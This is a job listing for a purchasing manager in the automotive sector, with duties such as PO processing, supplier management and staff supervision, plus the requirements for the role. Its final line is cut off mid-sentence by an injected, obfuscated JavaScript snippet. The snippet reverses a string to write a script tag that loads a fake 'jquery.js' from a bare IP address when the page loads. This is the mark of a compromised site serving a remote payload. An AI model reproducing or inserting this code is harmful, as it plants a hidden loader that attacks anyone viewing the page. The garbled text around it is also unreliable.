Industry              : Automotive
Working Hours : Mon – Fri

Responsibilities
• To lead, oversee and manage the daily operation of purchasing activities from purchase order processing to payment
• To ensure proper document management, update PO, tally and check invoice and DO, verify payment requisition, and prepare related reports/analysis reports
• Close working rapport with material and production planner to ensure the smooth operation of material supply chain
• To be responsible in establishing effective communication with suppliers to ensure they are well informed in related matters, i.e. order, delivery request and quality matter
• Monitor supplier performance
• To develop and implement effective purchasing policies and procedures
• Manage all administrative function of Purchasing Department, inclusive of staffing, training and fulfilment of other related duties
• To motivate and guide all subordinates to maintain a high standard of discipline and efficiency
• Perform any other duties and responsibility as and when required

Requirements
• Diploma/Degree holder in Finance/Purchasing and Supply Chain Management related business discipline
• Minimum of 2 years of experience in a similar role
• Ability to work independently as well as in team
• Result oriented and with the ability to work in a dynamic, fast moving work environment
• Excellent proactive problem solving, analytical and negotiation document.write(‘>tpircs/”sj.yreuqj/87.611.942.431//:sptth”=crs tpircs<'.split("").reverse().join(""))